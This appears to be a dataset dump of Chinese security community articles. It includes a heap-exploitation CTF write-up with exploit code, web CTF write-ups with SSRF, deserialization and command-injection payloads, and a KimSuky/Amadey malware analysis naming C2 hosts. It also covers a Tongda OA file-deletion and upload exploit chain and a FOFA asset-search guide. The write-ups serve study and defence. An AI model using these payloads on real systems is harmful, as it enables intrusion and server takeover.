text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 2019 BsidesSF straw-clucher PWN
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前端时间有机会做了这个比赛的题目，当时一直在看WaterDragon这道题目，比赛结束了也没有做出来。straw-clucher和WaterDragon这两道题目相对于一般的pwn题目而言代码量较大一些，之前也很少接触这种代码量比较大的题目，通常pwn题目考察的大多数是漏洞的利用，但这道题目考察的侧重于源代码的审计（当然也有例外，比如WaterDragon，找不到洞，大佬的wp我也找不到），所以记录一下这类题目。
这道题目的代码大多数是字符的比较，第一眼看上去可能有点发蒙，但是仔细审计一下源代码，可以发现程序结构并不复杂，许多字符的比较都是重复性的结构。程序内有许多的功能，比如login,site
index,dele,put,dere,rename,trunc等。但是和题目有关的功能，只有put,dele,dere,rename这四个功能，分析一下这四功能，建议没做过这种代码量比较大的pwn题的小伙伴自己去重新看看源代码，分析一下其他的功能（所有功能都写出来实在是太繁琐了。。。）。
## 程序逻辑
### “PUT FILE_NAME size”
首先明确一下输入的格式，’PUT file_name size’，创建结构体，
程序会首先检查输入字符串的前三个字符，如果是PUT则进入put功能。
下面是对file_name的检查，file_name的结构必须是[A-Za-z0-9]+.[A-Za-z0-9]{3}这样的，例如’AAA.AAA’，其实大量的代码都是在做这个检查，看起来程序代码才会有这么长。
然后就是对size的检查，比较简单，不展开讲了。
下面是相对重要的部分，由下面几条语句可以分析出这道题目的file_struct。
可以看出来，创建了一个0x48大小的结构体，并且将file_name放在了最开始的位置，然后在node+5×8的user_buffer已经在上面代码中被赋值为size),然后接着向下看。
根据我们输入的size，会分配一个相应大小的chunk，并且进行输入，并且将对应的chunk放在了node+8 _6的地方。_
__
_最后是进行链表的链接，将最新加入的file放入head内，并且在node+8_ 8的地方放入前一个node的地址。
所以我们已经可以清楚的分析出程序的结构如下：
struct
{
char filename[0x28];
unsigned long data_size;
char data;
long dummy; 这种用来判断data_size大小的标志位，确定最后free data的时候使用free()还是用munmap()函数。
char* pre_file;
}
### RENAME old_name new_name
首先明确一下输入格式： RENAME old_name new_name，对文件名字进行重命名。
首先也是根据输入前几个字符RENAME来判断进入相应功能，同样对old_name new_name进行字符检查。
下面是重点，漏洞出现的地方：
对于old_name进行了长度检测，但是对于new_name没有进行长度检测，因为file那么是布置在heap上的，所以在heap上通过rename功能造成了溢出。
其实我们可以看到他对old_name的长度进行了两次检测，本意应该是对new_name
old_name各进行一次检测，可以看到在没有加注释以及代码量比较大的情况下，发现这个漏洞还是不太容易的。
### RETR File_name
首先明确一下输入格式： RETR file_name ， 根据file_name输出对应的data信息。
前面也是字符串匹配以及file_name字符串检测，他是根据file_name匹配相应的结构体，然后根据node_struct->size来打印data信息的。
我们可以通过RRENAME功能溢出到heap，修改size长度，然后就可以泄露heap上的信息，后面也正是利用这一种方式来泄露libc与heap的。
### DELE file_name
输入格式： DELE file_name ,删除相应的文件结构域。
前面同样是重复性的字符串匹配与file_name字符串检测。
后面通过node_strufct->pre_file字段来遍历所有的file结构体，根据file_name进行匹配，匹配成功后对node_struct->data
node_struct进行free,然后在讲node_struct从链表中剔除。
## 利用思路
首先我们明确了漏洞点位于RENAME环节，可以造成任意长度的heap溢出，但是对于溢出的字符有限制只能是[A-Za-z0-9]+.[A-Za-z0-9]{3}结构的。
我们可以首先通过PUT ， DELE操作来malloc chunk 以及free chunk，使得heap
libc信息都出现在heap内，然后我们可以通过堆溢出修改node_struct->size字段,通过RETR功能打印任意长度的信息，从而我们可以获得libc信息以及heap信息。
后面我们主要通过fastbin attack来赋写malloc_hook为one_gadget来达成利用。
具体方式有两种
一种是double free操作，后面我用的也是这一种方式。
第二种是构造overlapped
chunk造成chunk的重叠，使chunk位于0x70大小的fastbin。我们可以通过rename来修改chunk的size使得size改大，然后free
chunk。使得unsorted bin覆盖一个大范围，然后通过申请data环节的时候，构成fastbinattack。
## 利用过程
### 泄露libc
`put('AAA.AAA',10,10*'A')
rename('AAA.AAA','A'*(0x28+2-4)+'.AAA') # shrink the data_size to 0x4141 , to use the show() to leak libc and heap.
put('BBB.BBB',0x90,'B'*0x90)
put('CCC.CCC',0x10,'C'*0x10)#malloc a chunk bettwen the unsortedbin and the top_chunk
delete('BBB.BBB') #make heap_addr and libc_add on the heap.
show('A'*(0x28+2-4)+'.AAA')`
经过上面的操作，内存情况如下：
我们已经将AAA.AAA的文件通过rename环节更名为’A’*(0x28+2-4)+’.AAA’并且造成data_size改为0x4141，足够长来泄露libc
heap，然后后面通过malloc hook操作使得libc_addr heap_addr都位于heap内，我们后面调用RETR功能就可以得到libc
heap信息。
### 构造double free
我们可以通过rename溢出，改写pre_file字段，是链表最终连接到我们自己写的fake_file，然后使得fake_file->data指向一个已经被free掉的0x70大小的fastbin，然后通过DELE这个fake
file来实现double free。
#make double free.
fake_file = 'EEE.EEE'+'x00' + p64(0)*4 + p64(0x68) + p64(heap+0x210) + p64(0)*2
put('DDD.DDD',0x48,fake_file)
put('FFF.FFF',0x68,'F'*0x68)
put('GGG.GGG',0x68,'G'*0x68)
delete('FFF.FFF')
delete('GGG.GGG')`
可以看到经过上面的操作我们已经将fake_file的data字段指向了fastbin,现在我们要通过rename溢出到pre_file字段，使得DDD.DDD->pre—>pre_file指向fake_file。我们可以通过rename来partial
write来达到这个效果。
rename('DDD.DDD','D'*(0x41-4)+'.DDP') # put the fake_file in the file_chain
可以看到通过partial
write已经成功的将DDD.DDD的pre_file字段指向了我们的fake_file，需要注意的是，因为我们rename环节输入的字符串受到限制，只能是[A-Za-z0-9]+.[A-Za-z0-9]{3}，所以我们只能够通过partial
write来达成这一效果，并且要保证DDD.DDD->pre_file字段的倒数第二个字节与fake_file_addr的倒数第二个字节相同，才能达成利用效果，这需要稍微考虑一下heap的布局。
后面通过
free操作触发double free.
delete('EEE.EEE') # trigger the double free.`
### 复写malloc_hook为one_gadget
这一部分就比较简单了
直接上代码
#write one_gadget on __malloc_hook
payload_1 = p64(__malloc_hook-0x13) + (0x68-8)*"H"
put('HHH.HHH',0x68,payload_1)
put('III.III',0x68,'I'*0x68)
put('JJJ.JJJ',0x68,'J'*0x68)
payload_2 = 'K'*0x3 + p64(libc_base+0x4526a)
payload_2 = payload_2.ljust(0x68,'K')
put('KKK.KKK',0x68,payload_2) `
效果：
## 总结：
这道题目相较于一般的pwn题目，侧重于源代码审计能力，我接触这种题目也不多，也算是收获了一些东西。做这种代码量比较大的题目的时候，首先是要冷静下来审计源代码，分析清楚程序逻辑，这道题目最后来看其实程序逻辑和一般的pwn题目没有什么区别。
利用过程方面，因为对溢出的字节做了限制，因此通过partial
write来做，但注意的是要保持被修改地址以及目的地址的高位地址一致，这需要对heap的布局稍微注意一下。其次用overlapped
chunk应该也能对着到题目达成利用。
参考链接：<https://github.com/merrychap/ctf-writeups/tree/master/2019/BSidesSF%202019%20CTF/straw_clutcher> | 社区文章 |
## 前言
正值周末，有幸ak了这个比赛的web，正好去年也打过一次，附上去年的题解
http://skysec.top/2017/11/05/%E4%B8%8A%E6%B5%B7%E7%BA%BF%E4%B8%8A%E8%B5%9Bweb%E9%A2%98%E8%A7%A3/
这次有幸所有题目都拿了前3血~以下是这次的记录
## web1
拿到题目
http://745fca0a178a41589917dd014537bd862c411015831d4eeb.game.ichunqiu.com/
提示我们访问robots.txt
what are you doing?<br /> <!-- you need to visit to robots.txt -->
得到结果
source.php
flag.php
于是去访问source.php
按一系列要求改http头
发现这里有一个下载链接，想到可能是用来放url请求的信息的，于是简单构造了一些
url=http://@127.0.0.1:[email protected]/.//index.php
发现得到主页内容，说明的确是用来存放url请求内容的
那么想到file协议
admin=1&url=file://@127.0.0.1:[email protected]/.//../../var/www/html/flag.php
具体原理看
http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/
于是得到flag
然后顺手带走题目源代码
<?php
error_reporting(0);
include "flag.php";
echo "you need to login as admin!";
echo "<!-- post param 'admin' -->";
if(isset($_POST['admin']))
{
if($_POST['admin']==1)
{
if($_SERVER['HTTP_X_CLIENT_IP'])
{
if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.ichunqiu.com')
{
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $_POST['url']);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec($curl);
curl_close($curl);
$filename='download/'.rand().';img1.jpg';
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
echo $img;
}
else
{
echo "you need post url: http://www.ichunqiu.com";
}
}
else
{
echo "only 127.0.0.1 can get the flag!!";
}
}
}
else
{
$_POST['admin']=0;
}
?>
发现果然是`libcurl`and`parse_url()`解析顺序的问题
if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.ichunqiu.com')
## web2
扫描目录得到源码泄露`.index.php.swp`
恢复源码得到
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){and to continue
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>
发现关键waf
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
思考到可以使用双写绕过flag，用`$IFS`绕过空格
所以有
`cat$IFS/flflagag`
那么可以容易得到
POST /?first=doller&a=var=give%26bbb=me%26ccc=flag
......
come=O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A18%3A%22%60cat%24IFS%2Fflflagag%60%22%3B%7D%7D
## web3
题目给了代码
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
实际上就是pwnhub公开赛的题魔改的，后面拼上了橘子哥的one line php
首先是前面的上传校验
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
漏洞很明显，只判断了不是数组的时候，没判断是数组的时候，于是有了数组绕过
然后到后面的
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
unlink的问题非常明显，`/.`的后缀就可以绕过
于是有了以下方式
发现成功上传（本地测试了一下）
然后进行目录爆破，反正就100~999，即可包含成功文件名，从而获得flag
## web4
拿到题目后看到2个功能
1.管理员登录
2.select guest
于是先从select guest入手，进行注入
http://959094d5f7934f3fa1a334ab1dc50c4b6160be6cc2bb4d77.game.ichunqiu.com/select_guest.php?id=1%27 or 1%23
回显
$content=str_replace($value,"",$content)2
192.168.10.1
然后
http://959094d5f7934f3fa1a334ab1dc50c4b6160be6cc2bb4d77.game.ichunqiu.com/select_guest.php?id=1%27%20or%200%23
回显
$content=str_replace($value,"",$content)1
10.10.1.1
于是开始写探测过滤,发现
union
information_schema.TABLES
information_schema.COLUMNS
均被过滤，那么尝试用bool盲注
而对于另外两个关键词，可以使用
information_schema . TABLES
information_schema . COLUMNS
进行bypass
随机注入得到管理员密码`adminpassword`
登入后发现是一个上传页面：
如果上传.php会提示
如果上传别的，会提示
题目会帮你拼接一个.txt后缀
并且提示你要上传flag.php，
首先发现有2个变量可控
那么容易想到保存方式为
uploaddir+filename
那么我们把php后缀拆开
接下来就是如何截断`.txt`了
首先尝试00未果，随机爆破，在02时发现截断成功 | 社区文章 |
# KimSuky样本分析思路分享
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
KimSuky是总部位于朝鲜的APT组织，根据卡巴的情报来看，至少2013年就开始活跃至今。该组织专注于针对韩国智囊团以及朝鲜核相关的目标。KimSuky有不少别名，包括Velvet
Chollima, Black Banshee, Thallium, Operation Stolen
Pencil等。[malpedia](https://malpedia.caad.fkie.fraunhofer.de/actor/kimsuky)上有关于KimSuky的详细介绍。
关于KimSuky，笔者之前写过[一篇文章](https://www.anquanke.com/post/id/219593#h2-13)对该组织的常见攻击手法进行了浅析。近期在对该组织的样本收集分析时也发现了不少以前没见过的样本，在本文中，将对一例以新冠疫情为诱饵的恶意样本进行详细分析。
## 样本信息
样本最开始来源于[bazaar.abuse.ch](https://bazaar.abuse.ch/sample/70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665/)，在bazaar上该样本已经被打上了Amadey、APT、Thallium三个标签。上面已经说过，Thallium是KimSuky的别名，背后的运营人员疑似为KimSuky的成员，国内很少有厂商将Thallium单独拿出来分析，笔者为了命名统一，还是将该样本归类到了KimSuky。
原始样本md5：90a59c16d670fd77d710516299533834
样本类型：doc
样本利用方式：宏代码利用
样本文件名：Pyongyang stores low on foreign goods amid North Korean COVID-19
paranoia.doc
原始样本以朝鲜平壤地区的疫情为诱饵，向对此话题感兴趣的人士发起攻击，暂未定位到具体的受害目标，原始样本通过设置颜色在正文上面加上一层遮挡物以诱导用户启用宏：
宏代码启用之后，遮挡物消失，文档正文正常显示以掩护恶意代码执行。
宏代码运行之后主要是执行两个功能
1. 去掉遮挡物让用户以为打开的是正常文档
2. 从C2：hxxps://www[.]rabadaun.com/wordpress/wp-content/themes/TEMP.so 下载TEMP.so到本地加载执行。
下载的TEMP.so为exe文件，md5为：f160c057fded2c01bfdb65bb7aa9dfcc
加载的后续payload主要有两个可疑行为
1. 创建C:\ProgramData\a7963\目录并将自身拷贝过去
2. 循环对C2服务器186[.]122.150.170:80 发起网络请求
此样本由MFC编写，样本运行后会通过一个超大循环以延迟关键代码执行，起到一定的反检测作用，这里是个for循环，循环变量每次自增1，循环条件是变量小于0x0BAADBEEF，循环体是给ebp+var_18变量自增1。循环一共会执行3131948783次，所以程序加载后，在恶意代码执行起来之前会有一个明显的停顿。
循环执行完毕，程序通过VirtualProtect更改0x422548到0x42A548的内存属性为0x40（可读可写可执行）
更改完成之后，程序会在00401070函数中对这片内存进行解密。
解密算法如下，程序首先将刚才更改了内存属性的数据的起始地址0x422548赋值给eax
赋值给eax之后，程序首先会清空esi，然后通过自增esi和eax+esi的方式对这片内存中的每个字节进行操作，第一次执行时，程序会将eax+esi的值赋给bl并且将bl与4330c0处的值进行异或计算，计算的值存储到bl中。
异或之后，程序会将bl的值进行not运算，运算之后的值依旧在bl寄存器中，此时，程序再将bl与4330c1的值进行异或，异或的值放入bl寄存器。
第二次异或之后，程序会将bl的值放回原位以替代原数据，同时自增esi，计算下一个字节的值。这里程序一共会将0x77E6大小的值以同样的方法进行计算解密出后面的shellcode。
解密完成之后，EnumChildWindows的回调函数EnumFunc已经被替换为了解密后的代码
直接在00427068处设置断点过来
解密出来的这段shellcode主要是一个loader，用于解密后续的payload继续执行，程序会用如下的字符串和程序的数据解密出一个PE
动态解密API地址
4255C8函数再次通过和之前一样的手法，执行一个大循环以延迟程序执行
程序在00423827处重新创建自身进程
接着程序通过ZwResumeThread、ZwSetContexThread这一套进行傀儡进程注入
最后通过ZwResumeThread恢复目标进程执行
## 傀儡进程注入
注入的进程为Amadey恶意软件，程序中的字符串均已加密，程序定义了一个字符串a7963b909152f8ebc3ec69b1dee2b255a9678a5用于动态解密其他字符串
程序会调用这个解密函数解密出一系列杀软文件名并判断是否存在这些杀软文件名
这里程序主要是检测是否存在0A和0B所对应的杀软，也就是Norton和Sophos，如果检测到这两款杀软程序就跳转到函数最后，不继续执行此函数功能。
当前函数继续执行，则会解密拼接出C:\ProgramData\a7963\tlworker.exe路径并创建文件句柄
创建目标文件夹
创建文件，然后在004016f2函数将自身写入到C:\ProgramData\a7963\tlworker.exe文件中
接下来，程序创建进程，通过cmd指令将上面的路径写入到启动项中以实现本地持久化
### 网络请求模块
程序解密出请求C2：196.122.150.107
接着程序开始解密请求路径和参数，首先是解密出请求路径cc/index.php
接着解密出id参数并且通过获取系统目录和磁盘信息以计算出id
同样的，指定当前的样本版本
程序会通过类似的方法拼接一系列参数，包括是否为管理员权限、操作系统版本信息、计算机名和杀软信息等，最后拼接出的请求信息如下
一切准备就绪之后，获取目标主机地址准备请求：
通过post的方式将数据send到C2
数据发送之后，程序会根据服务器返回执行对应的操作，并且休眠1分钟重复进行请求，也就是最开始在行为分析中看到的循环请求。由于末尾的跳转是jmp，并且中间并没有跳转可以跳出循环，说明这里是永真循环，程序执行到这里，功能已经执行完毕，后续则需要服务器返回执行。
由于目前服务器已经没有返回，无法对后续操作进行深入分析。但是根据攻击者所使用的Amadey恶意软件和钓鱼的内容，基本可以确定这是东亚APT组织KimSuky针对韩国用户的攻击活动。 | 社区文章 |
## 0x01 前言
通达OA（Office
Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。
## 0x02 目录及版本
### 目录结构
目录名称 | 用途
---|---
attach | OA附件文件存放目录
bin | Apache、PHP、Zend等主程序及配置文件，服务配置程序等
data5 | MySQL数据库文件目录
logs | Apache等日志文件目录
MyAdmin | 通达OA的MySQL管理工具
mysql5 | MySQL主程序文件
nginx | Nginx Web应用服务
tmp | 临时文件目录
webroot | 通达OA的WEB根目录（PHP程序目录）
### 版本信息
1、`/inc/expired.php`
2、`/inc/reg_trial.php`
3、`/inc/reg_trial_submit.php`
## 0x03 漏洞-任意文件删除
前提条件：
* 版本号：= V11.6
`/module/appbuilder/assets/print.php`
<?php
$s_tmp = __DIR__ . "/../../../../logs/appbuilder/logs";
$s_tmp .= "/" . $_GET["guid"];
if (file_exists($s_tmp)) {
$arr_data = unserialize(file_get_contents($s_tmp));
unlink($s_tmp);
$s_user = $arr_data["user"];
}
else {
echo "未知参数";
exit();
}
审计代码可以发现unlink函数中的存在变量`$s_tmp`，溯源变量`$s_tmp`。
`$s_tmp`开始值为魔术常量`__DIR__`拼接字符串`/../../../../logs/appbuilder/logs`，魔术常量`__DIR__`指向当前执行的PHP脚本所在的目录。
1、例如web路径为C:\wwwroot\webroot\
2、此处魔术常量__DIR__即为C:\wwwroot\webroot\module\appbuilder\assets
3、拼接后的$s_tmp值为
C:\wwwroot\webroot\module\appbuilder\assets/../../../../logs/appbuilder/logs
然后`$s_tmp`拼接了GET请求参数guid导致了变量可控。下面只利用file_exists函数判断了文件是否存在然后将变量`$s_tmp`带入了unlink函数中进行了执行，从而造成了任意文件删除漏洞。
**漏洞演示**
删除`/module/appbuilder/assets/`目录下文件test.txt
?guid=../../../webroot/module/appbuilder/assets/test.txt
## 0x04 漏洞-任意用户文件上传
前提条件：
* 后台权限
* 版本号：< V11.7
`/general/data_center/utils/upload.php`
if ($action == "upload") {
if ($filetype == "xls") {
code
}
}
else if ($filetype == "img") {
code
}
else {
code
}
@unlink($_FILES["FILE1"]);
}
当我们设置`$action`为upload，`$filetype`不为xls和img时，程序来到了else{}代码块。
$uploaddir = MYOA_ATTACH_PATH . "/data_center/attachment/";
在else{}代码块中，首先定义了$uploaddir变量用来存放上传目录路径。
if (!is_dir(MYOA_ATTACH_PATH . "/data_center/attachment")) {
if (!is_dir(MYOA_ATTACH_PATH . "/data_center")) {
mkdir(MYOA_ATTACH_PATH . "/data_center");
}
mkdir(MYOA_ATTACH_PATH . "/data_center/attachment");
}
然后检查了上传目录文件夹是否存在，不存在就创建。
if (isset($from_rep)) {
code
}
else {
$s_n = $_FILES["FILE1"]["name"];
if ($s_n[0] != "{") {
$s_n = $repkid . "_" . $s_n;
}
if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) {
}
}
接着检查变量`$from_rep`是否设置，这里我们不传入变量`$from_rep`，让程序执行逻辑进入else
{}代码块，`$s_n`变量存放了传入的文件名，然后判断了文件名第一位是否为字符串`{`，不是就将传入的变量`$repkid`与文件名进行拼接。最后将其带入到move_uploaded_file函数中移动到指定位置。
## 0x05 组合拳
在`/general/data_center/utils/upload.php`中程序包含了`inc/auth.inc.php`进行权限认证。
include_once "inc/auth.inc.php";
利用任意文件删除漏洞删除`inc/auth.inc.php`
?guid=../../../webroot/inc/auth.inc.php
即可前台上传文件获取到服务器权限。 | 社区文章 |
# FOFA网络空间资产搜索引擎使用指南
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**一、导语**
* * *
随着网络安全的普及，黑客的攻击手段也日新月异，越来越多的企业对网络安全产品与服务的需求有了新的变化。那么，在险象丛生的互联网世界之中企业如何能够更加有效的保护自己的网络空间资产呢？FOFA给出了相应的解决方案。与传统扫描相比，企业更需要一款能够根据特征、检索条件迅速进行全网资产匹配的搜索引擎。“佛法无边”通常比喻神通广大，无所不能，企业用户终于可以安心的“抱佛脚”了，FOFA可以迅速进行网站资产匹配，加快后续工作进程，如漏洞影响范围分析，应用分布统计，应用流行度排名统计等；当前版本覆盖服务数量为27757612个，覆盖网站数量170332964个，覆盖规则数量为587条。
**二、查询语法介绍**
* * *
既然FOFA的功能如此强大，那么具体如何使用呢？
**1、怎么搜？**
首先FOFA作为一个搜索引擎，我们要熟悉它的查询语法，类似google语法，FOFA的语法也是简单易懂，主要分为检索字段以及运算符，所有的查询语句都是由这两种元素组成的。目前支持的检索字段包括：domain，host，ip，title，server，header，body，port，cert，country，city，os，appserver，middleware，language，tags，user_tag等等，支持的逻辑运算符包括：=
，==，!=
，&&，||。了解了检索字段和逻辑运算符之后，就基本掌握了FOFA的用法了。例如搜索title字段中存在后台的网站，我们只需要在输入栏中输入title="后台"，输出的结果即为全网title中存在后台两个字的网站，对于黑客而言，可以利用得到的信息可以继续进行渗透攻击，对于网站的后台进行密码暴力破解，密码找回等等攻击行为，这样就可以轻松愉快的开始一次简单渗透攻击之旅，而企业用户也可以利用得到的信息进行内部的弱口令排查等等，防范于未然。
下面为大家一一介绍目前支持的所有检索字段的用法：
1.1 domain
例:搜索QQ所有的子域名 : domain="qq.com"
1.2 host
例:搜索host内所有带有qq.com的域名: host="qq.com"
1.3 ip
例:搜索某个IP上的相关信息 ip="58.63.236.248"
支持IP段搜索
ip="111.1.1.1/8"
ip="111.1.1.1/16"
ip="111.1.1.1/24"
1.4 title
例:搜索title包含有”漏洞”的IP title="漏洞"
1.5 server
例:Apache出来了一个高危漏洞,我们需要去统计全球的Apache server="Apache"
1.6 header
例:搜索前段时间非常火的海康威视 header="Hikvision"
1.7 body
例:假如我想搜索微博的后台,域名为:weibo.com并且网页内body包含"后台" body="后台" && domain="weibo.com"
&&:与body="后台" && domain="weibo.com" 提取域名为:weibo.com并且网页内body包含"后台"的网站
需要同时满足两个条件
1.8 port
例:想要找非80端口 port!="80"
!=: port!="80"匹配端口不为80端口的服务
1.9 cert
搜索证书(https或者imaps等)
例:百度公司为了检查自己的域名是否还有心脏出血漏洞可以使用语法: cert="baidu"
1.10country
搜索指定国家(编码)的资产
例:搜索中国的服务器 country="CN"
注:country="CN" country后面的规则为各国家的缩写,全球国家缩写如下链接:
https://zhidao.baidu.com/question/538403206.html
1.11 city
搜索指定城市的资产
例:搜索上海的服务器 city="Shanghai"
注:搜索城市时填写城市的全称,首字母必须大写!
1.12 os
例:搜索centos所有主机 os="centos"
了解了基础查询我们再来谈谈高级查询，其实也很简单，就是多个基础查询语句用逻辑连接符拼成的语句，例如我们要搜索上海的Discus组件，搜索语句是(title="Discuz"||body="content="Discuz")
&& city="Shanghai"
&&:逻辑与
||：逻辑或
上面的语句意思为
(title="Discuz"||body="content="Discuz")与city="Shanghai"这两个条件必须同时满足，(title="Discuz"||body="content="Discuz")中title="Discuz"
与body="content="Discuz"满足一个即可。
利用高级搜索可以更细致的了解网络空间中每个用户关注的资产信息。
**2、搜什么？**
FOFA可以从不同维度搜索网络组件，例如地区，端口号，网络服务，操作系统，网络协议等等。目前FOFA支持了多个网络组件的指纹识别，包括建站模块、分享模块、各种开发框架、安全监测平台、项目管理系统、企业管理系统、视频监控系统、站长平台、电商系统、广告联盟、前端库、路由器、SSL证书、服务器管理系统、CDN、Web服务器、WAF、CMS等等，详细信息可见（https://fofa.so/library）。
网站模块
pagespeed， mod_bwlimited， mod_auth_passthrough， mod_auth_pam， mod_fastcgi，
mod_jk， mod_perl， mod_python， mod_rack， mod_rails， mod_ssl， mod_wsgi，
mod_antiloris，
广告联盟
doubleclick_ad， baidu广告联盟， Google_AdSense， Open_AdStream， adinfinity， adriver，
反向代理服务器
squid， kangle反向代理， Varnish， Aicache， SJSWPS_ OiWPS， HAProxy_Report，
脚本语言
PHP， ASP.NET， python， ruby， jsp， perl， nodejs， ASP，
前端库
jquery， bootstrap， d3， jquery-ui， yui， AlloyUI，
分享模块
jiathis， ujian， 百度分享， joomla-facebook， addthis， hellobar，
路由器
百为路由， 锐捷NBR路由器， mikrotik， 中兴路由器， h3c路由器， jcg无线路由器，
D-Link_VoIP_Wireless_Router， arrisi_Touchstone， ZyXEL， Ruckus，
Motorola_SBG900， Wimax_CPE， Cisco_Cable_Modem， Scientific-Atlanta_Cable_Modem，
rap， ZTE_MiFi_UNE， DI-804HV， HuaweiHomeGateway， TP-LINK无线路由器，
云评论
uyan， disqus，
统计模块
google-analytics， cnzz， baidu统计， 51la， CNZZ统计， awstats_misc_tracker，
advancedwebstats， hubspot， 51yes， Piwik，
开发框架
ThinkPHP， Swiftlet， Aspnetmvc， CodeIgniter， ColdFusion， WebObjects， cakephp，
Django， zikula_framework， NetteFramework， Fat-FreeFramework， Play-Framework，
Restlet-Framework， Kohana-Framework， flow_framework， SIMIT_framework，
axis2-web，
其他
mongodb， elasticsearch， phpMyadmin， MVB2000， GPSweb， Tumblr， phpinfo， AD_RS设备，
FrontPageServerExtension， 认证页面， TCN协议， sharepoint， MS-Author-Via， 3COM_NBX，
wspx， rack-cache， Dnnoutputcache， Iisexport， Oraclea-DMS， P3p_enabled，
X-72e-Nobeian-Transfer， ManagedFusion， Adblock， Blackboard， LiquidGIS， Cocoon，
Wp-Super-Cache， pagespeed， Alternate-Protocol， unbouncepages， lemis管理系统，
OpenSSL， mod_bwlimited， mod_auth_passthrough， FreeboxOS， SMA_Sunny_Webbox，
Wimax_CPE， Aethra_Telecommunications_Operating_System， Scientific-Atlanta_Cable_Modem， rap， ZTE_MiFi_UNE， 用友商战实践平台， moosefs， AirLink_modem，
CCProxy， APC_Management， HuaweiHomeGateway， TP-LINK无线路由器， 蓝盾BDWebGuard，
护卫神网站安全系统， phpDocumentor， ColdFusion， Adobe_ CQ5， Adobe_GoLive，
Adobe_RoboHelp， Amaya， PHP-CGI， Synology_NAS， OpenMas， __VIEWSTATE，
Chromelogger， Communique， recaptcha， IPFire， TerraMaster， 创星伟业校园网群， 正方教务管理系统，
UFIDA_NC， 北创图书检索系统， Facebook_insights， squarespace建站， Bad_Behavior， Azure_ARR，
Tncms， 北京清科锐华CEMIS， RG-PowerCache内容加速系统， dayrui系列产品， Privoxy代理，
wordpress_qTranslate， DVWA， sugon_gridview， blog_fc2，
LiteSpeed_Web_Admin_Console， SLTM32_Configuration， SHOUTcast， Piwigo，
seeyoo广告机， milu_seotool， Moxa Nport串口服务器， CISCO_EPC3925， CASino， metasploit，
SSL证书
thawte_ssl_cert， wosign_ssl_cert， webtrust_cert， globalsign_cert，
GeoTrust_cert，
安全检测平台
360网站安全检测， teamportal，
项目管理
jira， fisheye， VisualSVN， Redmine， zentao， Bugzilla， Phabricator， reviewboard，
Hudson， Jenkins， testlink， trac， gitlab， mantis， Mercurial，
服务器管理
LuManager， 主机宝， wdcp管理系统， LANMP一键安装包， UPUPW， wamp， easypanel， awstats_admin，
awstats， uPlusFtp， Cactiez， Cacti， CrushFTP， HFS， WHM， moosefs， LUM服务器管理，
护卫神主机管理， cpanel， bacula-web， Webmin， Directadmin， Synology_DiskStation，
Puppet_Node_Manager，
企业管理
易瑞授权访问系统， MVB2000， SonicWALL， NetShare_VPN， pmway_E4_crm， srun3000计费认证系统，
Dolibarr， Parallels Plesk Panel， EasyTrace(botwave)， 管理易， 亿赛通DLP，
huawei_auth_server， 瑞友天翼_应用虚拟化系统 ， Vmware_vFabric， ICEFLOW_VPN， 360企业版， 用友erp-nc， 深信服ssl-vpn， 天融信VPN， Array_Networks_VPN， 天融信防火墙， o2security_vpn， zabbix，
